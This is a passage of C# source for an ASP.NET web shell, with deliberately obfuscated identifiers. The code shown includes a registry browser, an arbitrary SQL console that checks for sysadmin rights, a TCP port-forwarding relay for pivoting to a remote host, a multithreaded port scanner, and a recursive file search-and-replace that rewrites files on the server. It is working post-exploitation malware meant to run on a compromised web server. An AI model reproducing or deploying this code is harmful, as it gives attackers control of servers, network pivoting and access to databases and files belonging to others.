  2618.  
  2619. sk=rk;
  2620.  
  2621. }
  2622.  
  2623. foreach(string innerSubKey in sk.GetSubKeyNames())
  2624.  
  2625. {
  2626.  
  2627. tr=new TableRow();
  2628.  
  2629. tc=new TableCell();
  2630.  
  2631. bg=OKM();
  2632.  
  2633. tr.Attributes["onmouseover"]="this.className='focus';";
  2634.  
  2635. tr.CssClass=bg;
  2636.  
  2637. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2638.  
  2639. tc.Width=Unit.Parse("40%");
  2640.  
  2641. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(Reg_Path+innerSubKey)+"')\">"+innerSubKey+"</a>";
  2642.  
  2643. tr.Cells.Add(tc);
  2644.  
  2645. tc=new TableCell();
  2646.  
  2647. tc.Width=Unit.Parse("60%");
  2648.  
  2649. tc.Text="&lt;SubKey&gt;";
  2650.  
  2651. tr.Cells.Add(tc);
  2652.  
  2653. pLWD.Rows.Add(tr);
  2654.  
  2655. }
  2656.  
  2657. TableRow cKVA=new TableRow();
  2658.  
  2659. cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  2660.  
  2661. cKVA.Attributes["bgcolor"]="#dddddd";
  2662.  
  2663. TableCell JlmW=new TableCell();
  2664.  
  2665. JlmW.Attributes["colspan"]="2" ;
  2666.  
  2667. JlmW.Attributes["height"]="5";
  2668.  
  2669. cKVA.Cells.Add(JlmW);
  2670.  
  2671. pLWD.Rows.Add(cKVA);
  2672.  
  2673. foreach(string strValueName in sk.GetValueNames())
  2674.  
  2675. {
  2676.  
  2677. tr=new TableRow();
  2678.  
  2679. tc=new TableCell();
  2680.  
  2681. bg=OKM();
  2682.  
  2683. tr.Attributes["onmouseover"]="this.className='focus';";
  2684.  
  2685. tr.CssClass=bg;
  2686.  
  2687. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2688.  
  2689. tc.Width=Unit.Parse("40%");
  2690.  
  2691. tc.Text=strValueName;
  2692.  
  2693. tr.Cells.Add(tc);
  2694.  
  2695. tc=new TableCell();
  2696.  
  2697. tc.Width=Unit.Parse("60%");
  2698.  
  2699. tc.Text=DdmPl(sk,strValueName);
  2700.  
  2701. tr.Cells.Add(tc);
  2702.  
  2703. pLWD.Rows.Add(tr);
  2704.  
  2705. }
  2706.  
  2707. }
  2708.  
  2709. catch(Exception error)
  2710.  
  2711. {
  2712.  
  2713. xseuB(error.Message);
  2714.  
  2715. }
  2716.  
  2717. }
  2718.  
  2719. public string DdmPl(RegistryKey sk,string strValueName)
  2720.  
  2721. {
  2722.  
  2723. object uPZ;
  2724.  
  2725. string RaTGr="";
  2726.  
  2727. try
  2728.  
  2729. {
  2730.  
  2731. uPZ=sk.GetValue(strValueName,"NULL");
  2732.  
  2733. if(uPZ.GetType()==typeof(byte[]))
  2734.  
  2735. {
  2736.  
  2737. foreach(byte tmpbyte in(byte[])uPZ)
  2738.  
  2739. {
  2740.  
  2741. if((int)tmpbyte<16)
  2742.  
  2743. {
  2744.  
  2745. RaTGr+="0";
  2746.  
  2747. }
  2748.  
  2749. RaTGr+=tmpbyte.ToString("X");
  2750.  
  2751. }
  2752.  
  2753. }
  2754.  
  2755. else if(uPZ.GetType()==typeof(string[]))
  2756.  
  2757. {
  2758.  
  2759. foreach(string tmpstr in(string[])uPZ)
  2760.  
  2761. {
  2762.  
  2763. RaTGr+=tmpstr;
  2764.  
  2765. }
  2766.  
  2767. }
  2768.  
  2769. else
  2770.  
  2771. {
  2772.  
  2773. RaTGr=uPZ.ToString();
  2774.  
  2775. }
  2776.  
  2777. }
  2778.  
  2779. catch(Exception error)
  2780.  
  2781. {
  2782.  
  2783. xseuB(error.Message);
  2784.  
  2785. }
  2786.  
  2787. return RaTGr;
  2788.  
  2789. }
  2790.  
  2791. public void vNCHZ()
  2792.  
  2793. {
  2794.  
  2795. WICxe();
  2796.  
  2797. YwLB.Visible=true;
  2798.  
  2799. Bin_H2_Title.InnerText="PortScan >>";
  2800.  
  2801. }
  2802.  
  2803. public void rAhe()
  2804.  
  2805. {
  2806.  
  2807. WICxe();
  2808.  
  2809. iDgmL.Visible=true;
  2810.  
  2811. dQIIF.Visible=false;
  2812.  
  2813. Bin_H2_Title.InnerText="DataBase >>";
  2814.  
  2815. }
  2816.  
  2817. protected void OUj()
  2818.  
  2819. {
  2820.  
  2821. if(Dtdr.State==ConnectionState.Closed)
  2822.  
  2823. {
  2824.  
  2825. try
  2826.  
  2827. {
  2828.  
  2829. Dtdr.ConnectionString=MasR.Text;
  2830.  
  2831. Kkvb.Connection=Dtdr;
  2832.  
  2833. Dtdr.Open();
  2834.  
  2835. }
  2836.  
  2837. catch(Exception Error)
  2838.  
  2839. {
  2840.  
  2841. xseuB(Error.Message);
  2842.  
  2843. }
  2844.  
  2845. }
  2846.  
  2847. }
  2848.  
  2849. protected void fUzE()
  2850.  
  2851. {
  2852.  
  2853. if(Dtdr.State==ConnectionState.Open)
  2854.  
  2855. Dtdr.Close();
  2856.  
  2857. Dtdr.Dispose();
  2858.  
  2859. Kkvb.Dispose();
  2860.  
  2861. }
  2862.  
  2863. public DataTable CYUe(string sqlstr)
  2864.  
  2865. {
  2866.  
  2867. OleDbDataAdapter da=new OleDbDataAdapter();
  2868.  
  2869. DataTable Dstog=new DataTable();
  2870.  
  2871. try
  2872.  
  2873. {
  2874.  
  2875. OUj();
  2876.  
  2877. Kkvb.CommandType=CommandType.Text;
  2878.  
  2879. Kkvb.CommandText=sqlstr;
  2880.  
  2881. da.SelectCommand=Kkvb;
  2882.  
  2883. da.Fill(Dstog);
  2884.  
  2885. }
  2886.  
  2887. catch(Exception)
  2888.  
  2889. {
  2890.  
  2891. }
  2892.  
  2893. finally
  2894.  
  2895. {
  2896.  
  2897. fUzE();
  2898.  
  2899. }
  2900.  
  2901. return Dstog;
  2902.  
  2903. }
  2904.  
  2905. public DataTable[] Bin_Data(string query)
  2906.  
  2907. {
  2908.  
  2909. ArrayList list=new ArrayList();
  2910.  
  2911. try
  2912.  
  2913. {
  2914.  
  2915. string str;
  2916.  
  2917. OUj();
  2918.  
  2919. query=query+"\r\n";
  2920.  
  2921. MatchCollection gcod=new Regex("[\r\n][gG][oO][\r\n]").Matches(query);
  2922.  
  2923. int EmRX=0;
  2924.  
  2925. for(int i=0;i<gcod.Count;i++)
  2926.  
  2927. {
  2928.  
  2929. Match FJD=gcod[i];
  2930.  
  2931. str=query.Substring(EmRX,FJD.Index-EmRX);
  2932.  
  2933. if(str.Trim().Length>0)
  2934.  
  2935. {
  2936.  
  2937. OleDbDataAdapter FgzeQ=new OleDbDataAdapter();
  2938.  
  2939. Kkvb.CommandType=CommandType.Text;
  2940.  
  2941. Kkvb.CommandText=str.Trim();
  2942.  
  2943. FgzeQ.SelectCommand=Kkvb;
  2944.  
  2945. DataSet cDPp=new DataSet();
  2946.  
  2947. FgzeQ.Fill(cDPp);
  2948.  
  2949. for(int j=0;j<cDPp.Tables.Count;j++)
  2950.  
  2951. {
  2952.  
  2953. list.Add(cDPp.Tables[j]);
  2954.  
  2955. }
  2956.  
  2957. }
  2958.  
  2959. EmRX=FJD.Index+3;
  2960.  
  2961. }
  2962.  
  2963. str=query.Substring(EmRX,query.Length-EmRX);
  2964.  
  2965. if(str.Trim().Length>0)
  2966.  
  2967. {
  2968.  
  2969. OleDbDataAdapter VwB=new OleDbDataAdapter();
  2970.  
  2971. Kkvb.CommandType=CommandType.Text;
  2972.  
  2973. Kkvb.CommandText=str.Trim();
  2974.  
  2975. VwB.SelectCommand=Kkvb;
  2976.  
  2977. DataSet arG=new DataSet();
  2978.  
  2979. VwB.Fill(arG);
  2980.  
  2981. for(int k=0;k<arG.Tables.Count;k++)
  2982.  
  2983. {
  2984.  
  2985. list.Add(arG.Tables[k]);
  2986.  
  2987. }
  2988.  
  2989. }
  2990.  
  2991. }
  2992.  
  2993. catch(SqlException e)
  2994.  
  2995. {
  2996.  
  2997. xseuB(e.Message);
  2998.  
  2999. rom.Visible=false;
  3000.  
  3001. }
  3002.  
  3003. return(DataTable[])list.ToArray(typeof(DataTable));
  3004.  
  3005. }
  3006.  
  3007. public void JIAKU(string instr)
  3008.  
  3009. {
  3010.  
  3011. try
  3012.  
  3013. {
  3014.  
  3015. OUj();
  3016.  
  3017. Kkvb.CommandType=CommandType.Text;
  3018.  
  3019. Kkvb.CommandText=instr;
  3020.  
  3021. Kkvb.ExecuteNonQuery();
  3022.  
  3023. }
  3024.  
  3025. catch(Exception e)
  3026.  
  3027. {
  3028.  
  3029. xseuB(e.Message);
  3030.  
  3031. }
  3032.  
  3033. }
  3034.  
  3035. public void dwgT()
  3036.  
  3037. {
  3038.  
  3039. try
  3040.  
  3041. {
  3042.  
  3043. OUj();
  3044.  
  3045. if(WYmo.SelectedItem.Text=="MSSQL")
  3046.  
  3047. {
  3048.  
  3049. if(Pvf.SelectedItem.Value!="")
  3050.  
  3051. {
  3052.  
  3053. Dtdr.ChangeDatabase(Pvf.SelectedItem.Value.ToString());
  3054.  
  3055. }
  3056.  
  3057. }
  3058.  
  3059. DataTable[] jxF=null;
  3060.  
  3061. jxF=Bin_Data(jHIy.InnerText);
  3062.  
  3063. if(jxF!=null && jxF.Length>0)
  3064.  
  3065. {
  3066.  
  3067. for(int j=0;j<jxF.Length;j++)
  3068.  
  3069. {
  3070.  
  3071. rom.PreRender+=new EventHandler(lRavM);
  3072.  
  3073. rom.DataSource=jxF[j];
  3074.  
  3075. rom.DataBind();
  3076.  
  3077. for(int i=0;i<rom.Items.Count;i++)
  3078.  
  3079. {
  3080.  
  3081. string bg=OKM();
  3082.  
  3083. rom.Items[i].CssClass=bg;
  3084.  
  3085. rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
  3086.  
  3087. rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
  3088.  
  3089. }
  3090.  
  3091. }
  3092.  
  3093. }
  3094.  
  3095. else
  3096.  
  3097. {
  3098.  
  3099. rom.DataSource=null;
  3100.  
  3101. rom.DataBind();
  3102.  
  3103. }
  3104.  
  3105. rom.Visible=true;
  3106.  
  3107. }
  3108.  
  3109. catch(Exception e)
  3110.  
  3111. {
  3112.  
  3113. xseuB(e.Message);
  3114.  
  3115. rom.Visible=false;
  3116.  
  3117. }
  3118.  
  3119. }
  3120.  
  3121. public void xTZY()
  3122.  
  3123. {
  3124.  
  3125. try
  3126.  
  3127. {
  3128.  
  3129. if(WYmo.SelectedItem.Text=="MSSQL")
  3130.  
  3131. {
  3132.  
  3133. if(Pvf.SelectedItem.Value=="")
  3134.  
  3135. {
  3136.  
  3137. rom.DataSource=null;
  3138.  
  3139. rom.DataBind();
  3140.  
  3141. return;
  3142.  
  3143. }
  3144.  
  3145. }
  3146.  
  3147. OUj();
  3148.  
  3149. DataTable zKvOw=new DataTable();
  3150.  
  3151. DataTable jxF=new DataTable();
  3152.  
  3153. DataTable baVJV=new DataTable();
  3154.  
  3155. if(WYmo.SelectedItem.Text=="MSSQL" && Pvf.SelectedItem.Value!="")
  3156.  
  3157. {
  3158.  
  3159. Dtdr.ChangeDatabase(Pvf.SelectedItem.Text);
  3160.  
  3161. }
  3162.  
  3163. zKvOw=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"SYSTEM TABLE" });
  3164.  
  3165. jxF=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"TABLE" });
  3166.  
  3167. foreach(DataRow dr in zKvOw.Rows)
  3168.  
  3169. {
  3170.  
  3171. jxF.ImportRow(dr);
  3172.  
  3173. }
  3174.  
  3175. jxF.Columns.Remove("TABLE_CATALOG");jxF.Columns.Remove("TABLE_SCHEMA");jxF.Columns.Remove("DESCRIPTION");jxF.Columns.Remove("TABLE_PROPID");
  3176.  
  3177. rom.PreRender+=new EventHandler(lRavM);
  3178.  
  3179. rom.DataSource=jxF;
  3180.  
  3181. rom.DataBind();
  3182.  
  3183. for(int i=0;i<rom.Items.Count;i++)
  3184.  
  3185. {
  3186.  
  3187. string bg=OKM();
  3188.  
  3189. rom.Items[i].CssClass=bg;
  3190.  
  3191. rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
  3192.  
  3193. rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
  3194.  
  3195. }
  3196.  
  3197. rom.Visible=true;
  3198.  
  3199. }
  3200.  
  3201. catch(Exception e)
  3202.  
  3203. {
  3204.  
  3205. xseuB(e.Message);
  3206.  
  3207. rom.Visible=false;
  3208.  
  3209. }
  3210.  
  3211. }
  3212.  
  3213. private void lRavM(object sender,EventArgs e)
  3214.  
  3215. {
  3216.  
  3217. DataGrid d=(DataGrid)sender;
  3218.  
  3219. foreach(DataGridItem item in d.Items)
  3220.  
  3221. {
  3222.  
  3223. foreach(TableCell t in item.Cells)
  3224.  
  3225. {
  3226.  
  3227. t.Text=t.Text.Replace("<","&lt;").Replace(">","&gt;");
  3228.  
  3229. }
  3230.  
  3231. }
  3232.  
  3233. }
  3234.  
  3235. public void vCf()
  3236.  
  3237. {
  3238.  
  3239. dQIIF.Visible=true;
  3240.  
  3241. try
  3242.  
  3243. {
  3244.  
  3245. jHIy.InnerHtml=string.Empty;
  3246.  
  3247. if(WYmo.SelectedItem.Text=="MSSQL")
  3248.  
  3249. {
  3250.  
  3251. rom.Visible=false;
  3252.  
  3253. uXevN.Visible=true;
  3254.  
  3255. irTU.Visible=true;
  3256.  
  3257. OUj();
  3258.  
  3259. DataTable ver=CYUe(@"SELECT @@VERSION");
  3260.  
  3261. DataTable dbs=CYUe(@"SELECT name FROM master.dbo.sysdatabases");
  3262.  
  3263. DataTable cdb=CYUe(@"SELECT DB_NAME()");
  3264.  
  3265. DataTable rol=CYUe(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  3266.  
  3267. DataTable YKrm=CYUe(@"SELECT IS_MEMBER('db_owner')");
  3268.  
  3269. string jHlh=ver.Rows[0][0].ToString();
  3270.  
  3271. string dbo=string.Empty;
  3272.  
  3273. if(YKrm.Rows[0][0].ToString()=="1")
  3274.  
  3275. {
  3276.  
  3277. dbo="db_owner";
  3278.  
  3279. }
  3280.  
  3281. else
  3282.  
  3283. {
  3284.  
  3285. dbo="public";
  3286.  
  3287. }
  3288.  
  3289. if(rol.Rows[0][0].ToString()=="1")
  3290.  
  3291. {
  3292.  
  3293. dbo="<font color=blue>sa</font>";
  3294.  
  3295. }
  3296.  
  3297. string db_name=string.Empty;
  3298.  
  3299. foreach(ListItem item in FGEy.Items)
  3300.  
  3301. {
  3302.  
  3303.  if(item.Selected=true)
  3304.  
  3305.  {
  3306.  
  3307.  item.Selected=false;
  3308.  
  3309.  }
  3310.  
  3311. }
  3312.  
  3313. Pvf.Items.Clear();
  3314.  
  3315. Pvf.Items.Add("-- Select a DataBase --");
  3316.  
  3317. Pvf.Items[0].Value="";
  3318.  
  3319. for(int i=0;i<dbs.Rows.Count;i++)
  3320.  
  3321. {
  3322.  
  3323. db_name+=dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(),"<font color=blue>"+cdb.Rows[0][0].ToString()+"</font>")+"&nbsp;|&nbsp;";
  3324.  
  3325. Pvf.Items.Add(dbs.Rows[i][0].ToString());
  3326.  
  3327. }
  3328.  
  3329. irTU.InnerHtml="<p><font color=red>MSSQL Version</font> : <i><b>"+jHlh+"</b></i></p><p><font color=red>SrvRoleMember</font> : <i><b>"+dbo+"</b></i></p>";
  3330.  
  3331. }
  3332.  
  3333. else
  3334.  
  3335. {
  3336.  
  3337. uXevN.Visible=false;
  3338.  
  3339. irTU.Visible=false;
  3340.  
  3341. xTZY();
  3342.  
  3343. }
  3344.  
  3345. }
  3346.  
  3347. catch(Exception e)
  3348.  
  3349. {
  3350.  
  3351. dQIIF.Visible=false;
  3352.  
  3353. }
  3354.  
  3355. }
  3356.  
  3357. public void MHLv()
  3358.  
  3359. {
  3360.  
  3361. WICxe();
  3362.  
  3363. hOWTm.Visible=true;
  3364.  
  3365. Bin_H2_Title.InnerText="PortMap >>";
  3366.  
  3367. }
  3368.  
  3369. public class PortForward
  3370.  
  3371. {
  3372.  
  3373. public string Localaddress;
  3374.  
  3375. public int LocalPort;
  3376.  
  3377. public string RemoteAddress;
  3378.  
  3379. public int RemotePort;
  3380.  
  3381. string type;
  3382.  
  3383. Socket ltcpClient;
  3384.  
  3385. Socket rtcpClient;
  3386.  
  3387. Socket server;
  3388.  
  3389. byte[] DPrPL=new byte[2048];
  3390.  
  3391. byte[] wvZv=new byte[2048];
  3392.  
  3393. public struct session
  3394.  
  3395. {
  3396.  
  3397. public Socket rdel;
  3398.  
  3399. public Socket ldel;
  3400.  
  3401. public int llen;
  3402.  
  3403. public int rlen;
  3404.  
  3405. }
  3406.  
  3407. public static IPEndPoint mtJ(string host,int port)
  3408.  
  3409. {
  3410.  
  3411. IPEndPoint iep=null;
  3412.  
  3413. IPHostEntry aGN=Dns.Resolve(host);
  3414.  
  3415. IPAddress rmt=aGN.AddressList[0];
  3416.  
  3417. iep=new IPEndPoint(rmt,port);
  3418.  
  3419. return iep;
  3420.  
  3421. }
  3422.  
  3423. public void Start(string Rip,int Rport,string lip,int lport)
  3424.  
  3425. {
  3426.  
  3427. try
  3428.  
  3429. {
  3430.  
  3431. LocalPort=lport;
  3432.  
  3433. RemoteAddress=Rip;
  3434.  
  3435. RemotePort=Rport;
  3436.  
  3437. Localaddress=lip;
  3438.  
  3439. rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  3440.  
  3441. ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  3442.  
  3443. rtcpClient.BeginConnect(mtJ(RemoteAddress,RemotePort),new AsyncCallback(iiGFO),rtcpClient);
  3444.  
  3445. }
  3446.  
  3447. catch (Exception ex) { }
  3448.  
  3449. }
  3450.  
  3451. protected void iiGFO(IAsyncResult ar)
  3452.  
  3453. {
  3454.  
  3455. try
  3456.  
  3457. {
  3458.  
  3459. session RKXy=new session();
  3460.  
  3461. RKXy.ldel=ltcpClient;
  3462.  
  3463. RKXy.rdel=rtcpClient;
  3464.  
  3465. ltcpClient.BeginConnect(mtJ(Localaddress,LocalPort),new AsyncCallback(VTp),RKXy);
  3466.  
  3467. }
  3468.  
  3469. catch (Exception ex) { }
  3470.  
  3471. }
  3472.  
  3473. protected void VTp(IAsyncResult ar)
  3474.  
  3475. {
  3476.  
  3477. try
  3478.  
  3479. {
  3480.  
  3481. session RKXy=(session)ar.AsyncState;
  3482.  
  3483. ltcpClient.EndConnect(ar);
  3484.  
  3485. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(LFYM),RKXy);
  3486.  
  3487. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(xPS),RKXy);
  3488.  
  3489. }
  3490.  
  3491. catch (Exception ex) { }
  3492.  
  3493. }
  3494.  
  3495. private void LFYM(IAsyncResult ar)
  3496.  
  3497. {
  3498.  
  3499. try
  3500.  
  3501. {
  3502.  
  3503. session RKXy=(session)ar.AsyncState;
  3504.  
  3505. int Ret=RKXy.rdel.EndReceive(ar);
  3506.  
  3507. if (Ret>0)
  3508.  
  3509. ltcpClient.BeginSend(DPrPL,0,Ret,SocketFlags.None,new AsyncCallback(JTcp),RKXy);
  3510.  
  3511. else lyTOK();
  3512.  
  3513. }
  3514.  
  3515. catch (Exception ex) { }
  3516.  
  3517. }
  3518.  
  3519. private void JTcp(IAsyncResult ar)
  3520.  
  3521. {
  3522.  
  3523. try
  3524.  
  3525. {
  3526.  
  3527. session RKXy=(session)ar.AsyncState;
  3528.  
  3529. RKXy.ldel.EndSend(ar);
  3530.  
  3531. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(this.LFYM),RKXy);
  3532.  
  3533. }
  3534.  
  3535. catch (Exception ex) { }
  3536.  
  3537. }
  3538.  
  3539. private void xPS(IAsyncResult ar)
  3540.  
  3541. {
  3542.  
  3543. try
  3544.  
  3545. {
  3546.  
  3547. session RKXy=(session)ar.AsyncState;
  3548.  
  3549. int Ret=RKXy.ldel.EndReceive(ar);
  3550.  
  3551. if (Ret>0)
  3552.  
  3553. RKXy.rdel.BeginSend(wvZv,0,Ret,SocketFlags.None,new AsyncCallback(IZU),RKXy);
  3554.  
  3555. else lyTOK();
  3556.  
  3557. }
  3558.  
  3559. catch (Exception ex) { }
  3560.  
  3561. }
  3562.  
  3563. private void IZU(IAsyncResult ar)
  3564.  
  3565. {
  3566.  
  3567. try
  3568.  
  3569. {
  3570.  
  3571. session RKXy=(session)ar.AsyncState;
  3572.  
  3573. RKXy.rdel.EndSend(ar);
  3574.  
  3575. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(this.xPS),RKXy);
  3576.  
  3577. }
  3578.  
  3579. catch (Exception ex) { }
  3580.  
  3581. }
  3582.  
  3583. public void lyTOK()
  3584.  
  3585. {
  3586.  
  3587. try
  3588.  
  3589. {
  3590.  
  3591. if (ltcpClient!=null)
  3592.  
  3593. {
  3594.  
  3595. ltcpClient.Close();
  3596.  
  3597. }
  3598.  
  3599. if (rtcpClient!=null)
  3600.  
  3601. rtcpClient.Close();
  3602.  
  3603. }
  3604.  
  3605. catch (Exception ex) { }
  3606.  
  3607. }
  3608.  
  3609. }
  3610.  
  3611. protected void vuou()
  3612.  
  3613. {
  3614.  
  3615. PortForward gYP=new PortForward();
  3616.  
  3617. gYP.lyTOK();
  3618.  
  3619. }
  3620.  
  3621. protected void ruQO()
  3622.  
  3623. {
  3624.  
  3625. PortForward gYP=new PortForward();
  3626.  
  3627. gYP.Start(llH.Value,int.Parse(ZHS.Value),eEpm.Value,int.Parse(iXdh.Value));
  3628.  
  3629. }
  3630.  
  3631. public string mRDl(string instr)
  3632.  
  3633. {
  3634.  
  3635. string tmp=null;
  3636.  
  3637. try
  3638.  
  3639. {
  3640.  
  3641. tmp=System.Net.Dns.Resolve(instr).AddressList[0].ToString();
  3642.  
  3643. }
  3644.  
  3645. catch(Exception e)
  3646.  
  3647. {
  3648.  
  3649. }
  3650.  
  3651. return tmp;
  3652.  
  3653. }
  3654.  
  3655. public void VikG()
  3656.  
  3657. {
  3658.  
  3659. string[] OTV=lOmX.Text.ToString().Split(',');
  3660.  
  3661. for(int i=0;i<OTV.Length;i++)
  3662.  
  3663. {
  3664.  
  3665. IVc.Add(new ScanPort(mRDl(MdR.Text.ToString()),Int32.Parse(OTV[i])));
  3666.  
  3667. }
  3668.  
  3669. try
  3670.  
  3671. {
  3672.  
  3673. Thread[] kbXY=new Thread[IVc.Count];
  3674.  
  3675. int sdO=0;
  3676.  
  3677. for(sdO=0;sdO<IVc.Count;sdO++)
  3678.  
  3679. {
  3680.  
  3681. kbXY[sdO]=new Thread(new ThreadStart(((ScanPort)IVc[sdO]).Scan));
  3682.  
  3683. kbXY[sdO].Start();
  3684.  
  3685. }
  3686.  
  3687. for(sdO=0;sdO<kbXY.Length;sdO++)
  3688.  
  3689. kbXY[sdO].Join();
  3690.  
  3691. }
  3692.  
  3693. catch
  3694.  
  3695. {
  3696.  
  3697. }
  3698.  
  3699. }
  3700.  
  3701. public class ScanPort
  3702.  
  3703. {
  3704.  
  3705. private string _ip="";
  3706.  
  3707. private int jTdO=0;
  3708.  
  3709. private TimeSpan _timeSpent;
  3710.  
  3711. private string QGcH="Not scanned";
  3712.  
  3713. public string ip
  3714.  
  3715. {
  3716.  
  3717. get { return _ip;}
  3718.  
  3719. }
  3720.  
  3721. public int port
  3722.  
  3723. {
  3724.  
  3725. get { return jTdO;}
  3726.  
  3727. }
  3728.  
  3729. public string status
  3730.  
  3731. {
  3732.  
  3733. get { return QGcH;}
  3734.  
  3735. }
  3736.  
  3737. public TimeSpan timeSpent
  3738.  
  3739. {
  3740.  
  3741. get { return _timeSpent;}
  3742.  
  3743. }
  3744.  
  3745. public ScanPort(string ip,int port)
  3746.  
  3747. {
  3748.  
  3749. _ip=ip;
  3750.  
  3751. jTdO=port;
  3752.  
  3753. }
  3754.  
  3755. public void Scan()
  3756.  
  3757. {
  3758.  
  3759. TcpClient iYap=new TcpClient();
  3760.  
  3761. DateTime qYZT=DateTime.Now;
  3762.  
  3763. try
  3764.  
  3765. {
  3766.  
  3767. iYap.Connect(_ip,jTdO);
  3768.  
  3769. iYap.Close();
  3770.  
  3771. QGcH="<font color=green><b>Open</b></font>";
  3772.  
  3773. }
  3774.  
  3775. catch
  3776.  
  3777. {
  3778.  
  3779. QGcH="<font color=red><b>Close</b></font>";
  3780.  
  3781. }
  3782.  
  3783. _timeSpent=DateTime.Now.Subtract(qYZT);
  3784.  
  3785. }
  3786.  
  3787. }
  3788.  
  3789. public static void YFcNP(System.Web.UI.Page page)
  3790.  
  3791. {
  3792.  
  3793. page.RegisterHiddenField("__EVENTTARGET","");
  3794.  
  3795. page.RegisterHiddenField("__FILE","");
  3796.  
  3797. string s=@"<script language=Javascript>";
  3798.  
  3799. s+=@"function Bin_PostBack(eventTarget,eventArgument)";
  3800.  
  3801. s+=@"{";
  3802.  
  3803. s+=@"var theform=document.forms[0];";
  3804.  
  3805. s+=@"theform.__EVENTTARGET.value=eventTarget;";
  3806.  
  3807. s+=@"theform.__FILE.value=eventArgument;";
  3808.  
  3809. s+=@"theform.submit();";
  3810.  
  3811. s+=@"} ";
  3812.  
  3813. s+=@"</scr"+"ipt>";
  3814.  
  3815. page.RegisterStartupScript("",s);
  3816.  
  3817. }
  3818.  
  3819. protected void PPtK(object sender,EventArgs e)
  3820.  
  3821. {
  3822.  
  3823. WICxe();
  3824.  
  3825. yhv.Visible=true;
  3826.  
  3827. Bin_H2_Title.InnerText="File Search >>";
  3828.  
  3829. NaLJ.Value=Request.PhysicalApplicationPath;
  3830.  
  3831. oJiym.Visible=false;
  3832.  
  3833. }
  3834.  
  3835. protected void NBy(object sender,EventArgs e)
  3836.  
  3837. {
  3838.  
  3839. DirectoryInfo GQMM=new DirectoryInfo(NaLJ.Value);
  3840.  
  3841. if(!GQMM.Exists)
  3842.  
  3843. {
  3844.  
  3845. xseuB("Path invalid ! ");
  3846.  
  3847. return;
  3848.  
  3849. }
  3850.  
  3851. oog(GQMM);
  3852.  
  3853. xseuB("Search completed ! ");
  3854.  
  3855. }
  3856.  
  3857. public void oog(DirectoryInfo dir)
  3858.  
  3859. {
  3860.  
  3861. try
  3862.  
  3863. {
  3864.  
  3865. oJiym.Visible=true;
  3866.  
  3867. foreach(FileInfo Bin_Files in dir.GetFiles())
  3868.  
  3869. {
  3870.  
  3871. try
  3872.  
  3873. {
  3874.  
  3875. if(Bin_Files.FullName==Request.PhysicalPath)
  3876.  
  3877. {
  3878.  
  3879. continue;
  3880.  
  3881. }
  3882.  
  3883. if(!Regex.IsMatch(Bin_Files.Extension.Replace(".",""),"^("+UDLvA.Value+")$",RegexOptions.IgnoreCase))
  3884.  
  3885. {
  3886.  
  3887. continue;
  3888.  
  3889. }
  3890.  
  3891. if(Ven.SelectedItem.Value=="name")
  3892.  
  3893. {
  3894.  
  3895. if(rAQ.Checked)
  3896.  
  3897. {
  3898.  
  3899. if(Regex.IsMatch(Bin_Files.Name,iaMKl.Value,RegexOptions.IgnoreCase))
  3900.  
  3901. {
  3902.  
  3903. FJvQ(Bin_Files);
  3904.  
  3905. }
  3906.  
  3907. }
  3908.  
  3909. else
  3910.  
  3911. {
  3912.  
  3913. if(Bin_Files.Name.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
  3914.  
  3915. {
  3916.  
  3917. Response.Write(Bin_Files.FullName);
  3918.  
  3919. FJvQ(Bin_Files);
  3920.  
  3921. }
  3922.  
  3923. }
  3924.  
  3925. }
  3926.  
  3927. else
  3928.  
  3929. {
  3930.  
  3931. StreamReader sr=new StreamReader(Bin_Files.FullName,Encoding.Default);
  3932.  
  3933. string ava=sr.ReadToEnd();
  3934.  
  3935. sr.Close();
  3936.  
  3937. if(rAQ.Checked)
  3938.  
  3939. {
  3940.  
  3941. if(Regex.IsMatch(ava,iaMKl.Value,RegexOptions.IgnoreCase))
  3942.  
  3943. {
  3944.  
  3945. FJvQ(Bin_Files);
  3946.  
  3947. if(YZw.Checked)
  3948.  
  3949. {
  3950.  
  3951. ava=Regex.Replace(ava,iaMKl.Value,qPe.Value,RegexOptions.IgnoreCase);
  3952.  
  3953. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  3954.  
  3955. sw.Write(ava);
  3956.  
  3957. sw.Close();
  3958.  
  3959. }
  3960.  
  3961. }
  3962.  
  3963. }
  3964.  
  3965. else
  3966.  
  3967. {
  3968.  
  3969. if(ava.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
  3970.  
  3971. {
  3972.  
  3973. FJvQ(Bin_Files);
  3974.  
  3975. if(YZw.Checked)
  3976.  
  3977. {
  3978.  
  3979. ava=Strings.Replace(ava,iaMKl.Value,qPe.Value,1,-1,CompareMethod.Text);
  3980.  
  3981. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  3982.  
  3983. sw.Write(ava);
  3984.  
  3985. sw.Close();
  3986.  
  3987. }
  3988.  
  3989. }
  3990.  
  3991. }
  3992.  
  3993. }
  3994.  
  3995. }
  3996.  
  3997. catch(Exception ex)
  3998.  
  3999. {
  4000.  
  4001. xseuB(ex.Message);
  4002.  
  4003. continue;
  4004.  
  4005. }
  4006.  
  4007. }
  4008.  
  4009. foreach(DirectoryInfo subdir in dir.GetDirectories())
  4010.  
  4011. {
  4012.  
  4013. oog(subdir);
